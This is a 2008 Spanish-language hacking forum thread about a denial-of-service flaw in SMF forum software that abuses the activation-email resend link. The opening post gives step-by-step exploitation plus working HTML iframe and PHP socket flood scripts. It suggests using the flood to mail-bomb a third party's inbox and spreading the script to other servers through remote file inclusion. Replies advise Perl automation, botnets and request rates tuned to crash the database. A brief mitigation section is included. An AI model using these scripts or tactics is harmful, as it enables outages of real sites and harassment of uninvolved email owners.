hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
07 de Octubre de 2008, 04:28:54
Noticias: Nomina a tus preferidos para los pOrtal Hacker Awards 2008
Para ver este enlace Registrate o Inicia Sesion
aqui

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderador: vengador de las sombras)
| | |-+  smf dos bug
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: smf dos bug  (Leído 590 veces)
Hondamena
NZ2
**
Desconectado Desconectado

Mensajes: 189



Ver Perfil WWW
« : 06 de Abril de 2008, 11:36:24 »

¿De que se trata?

Se trata de un bug que permite un DoS, basandose en los mails que envia el servidor en el que esta alojado el foro.



Como explotarlo

El servidor objetivo tiene que tener las siguientes caracteristica s:
· Tener la opcion de activar la cuenta via e-mail habilitada
· Tener la funcion mail habilitada y un servidor smtp

Si el servidor objetivo tiene esas caracteristica s no habra problema Cheesy

1.- Registrar un usuario, ojo ¡¡no activar la cuenta!!. El email no tiene porque ser verdadero, de hecho puedes poner uno de un 'amiguito' para petarle el mail.

2.- Extraer el numero de usuario del que has registrado para ello mirar la variable 'u' que hay en su perfil. Por ejemplo:

foro.vzack.com/index.php?action=profile;u=1 <- hay el numero de usuario seria 1

3.- Ahora simplemente visitamos el link http://[host objetivo]/[foro]/index.php?action=activate;sa=resend;u=[numero de user]
y veremos que nos dice: 'Un nuevo email de activación ha sido enviado satisfactoriam ente.'

Cada vez que visitemos el link enviara un email y si visitamos muy rapido el link conseguiremos colapsar el server, y en casos extremos que les cancelen la cuenta los administradore s del host.

Para visitar rapidamente el link podemos fabricar diferentes herramientas Cheesy por ejemplo:

En html (poco efectivo ya que envia el referer y es facil que nos paren el ataque :p):
Código:
<html>
<script>
for(a=0; a<200; a++){
document.write('<iframe src="http://[host a atacar]/index.php?action=activate;sa=resend;u=[numero de user]" width="1" height="1"</iframe>');
}
</script>
<META HTTP-EQUIV="Refresh" CONTENT="10" />
</html>

En php (nuestro servidor tiene que tener fsockopen activado [los gratuitos no lo tienen activo])
Código:
<?php
/* SMF Mail DoS */
/* Visit vZack.com */

$host='foro.vzack.com'//objetivo
$puerto=80//puerto
$smfpath='/'//path del smf
$spam=1//Userid de alguien pa spamearle xDD
//Fin config
set_time_limit(0);
$get=$smfpath.'index.php?action=activate;sa=resend;u='.$spam;
for(
$a=0;$a<9999999999999999999999999;$a++){
$flood=@fsockopen($host$puerto$errno$errstr5);
fwrite($flood"GET $get HTTP/1.1\nHost: $host\nConnection: Keep-Alive\n\n");
fwrite($flood"GET $get HTTP/1.1\nHost: $host\nConnection: Close\n\n");
fclose($flood);
}
?>

Personalmente recomiendo el de php ya que puedes infectar a varios servers mediante RFI



Como evitarlo

Hay varias opciones Cheesy
1.- Configurar el smf para que no tengan que activar la cuenta los usuarios al registarse:

2.- Configurar el smf para que envie los emails mediante un servidor smtp externo (Por ejemplo gmail), nota: Con esta opcion tambien te pueden cancelar ya que el smf abre una conexion con el smtp remoto.

3.- Desactivar la opcion resend para que no envie el mail de nuevo.
Para ello añadimos este code en la segunda linea del index.php de nuestro smf:
Código:
if($_GET['sa'] == 'resend')
exit();

Bug descubierto por mi. Codes para explotarlo by vZor.
Para ver este enlace Registrate o Inicia Sesion
http://foro.vzack.com
En línea


Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion

vZack.com ONLINE Cheesy
vengador de las sombras
Moderador
*****
Desconectado Desconectado

Mensajes: 949


Fl4m1ng 0ur SkillZ TeaM


Ver Perfil
« Respuesta #1 : 06 de Abril de 2008, 12:09:14 »

Tema ya tratado hace unos días en ArgeniversoHac k... Quizás porque alguno estuvo practicando  Tongue

A lo que iba, con PERL se puede crear un exploit mucho más efectivo. Ya que con los módulos de HTTP puedes buscar directamente el número de usuario y automatizarlo todo para que linkee rapido... Además si lo distribuyes a algunos bots la denegación se hace en poco tiempo (Testeado con 30 peticiones por minuto)

Byt3z...
En línea


Para ver este enlace Registrate o Inicia Sesion
Overload in the Net (Mi blog)

-----------------------------------------

Para ver este enlace Registrate o Inicia Sesion
----------------------------
Fl4m1ng 0ur sk1llZ
Hondamena
NZ2
**
Desconectado Desconectado

Mensajes: 189



Ver Perfil WWW
« Respuesta #2 : 06 de Abril de 2008, 12:11:00 »

Tema ya tratado hace unos días en ArgeniversoHac k... Quizás porque alguno estuvo practicando  Tongue

A lo que iba, con PERL se puede crear un exploit mucho más efectivo. Ya que con los módulos de HTTP puedes buscar directamente el número de usuario y automatizarlo todo para que linkee rapido... Además si lo distribuyes a algunos bots la denegación se hace en poco tiempo (Testeado con 30 peticiones por minuto)

Byt3z...

si forkeas el proceso de perl puedes conseguir hasta 2 peticiones por segundo

tambien existe este mismo bug en el recuperar contraseña
« Última modificación: 06 de Abril de 2008, 12:12:06 por Hondamena » En línea


Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion

vZack.com ONLINE Cheesy
vengador de las sombras
Moderador
*****
Desconectado Desconectado

Mensajes: 949


Fl4m1ng 0ur SkillZ TeaM


Ver Perfil
« Respuesta #3 : 06 de Abril de 2008, 12:22:56 »

si forkeas el proceso de perl puedes conseguir hasta 2 peticiones por segundo

tambien existe este mismo bug en el recuperar contraseña

Puse ese espacio de tiempo porque probé sin ningún delay y me banearon al bot de pruebas. Supongo que sería alguna protección del propio server.
En línea


Para ver este enlace Registrate o Inicia Sesion
Overload in the Net (Mi blog)

-----------------------------------------

Para ver este enlace Registrate o Inicia Sesion
----------------------------
Fl4m1ng 0ur sk1llZ
Hondamena
NZ2
**
Desconectado Desconectado

Mensajes: 189



Ver Perfil WWW
« Respuesta #4 : 06 de Abril de 2008, 12:24:46 »

Puse ese espacio de tiempo porque probé sin ningún delay y me banearon al bot de pruebas. Supongo que sería alguna protección del propio server.
mod_security igual  de todos modos si haces get a 2 gets por segundo al final la mysql no aguanta y se cae es mas rentable hacer 1 cada 2 segundos
En línea


Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion

vZack.com ONLINE Cheesy
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online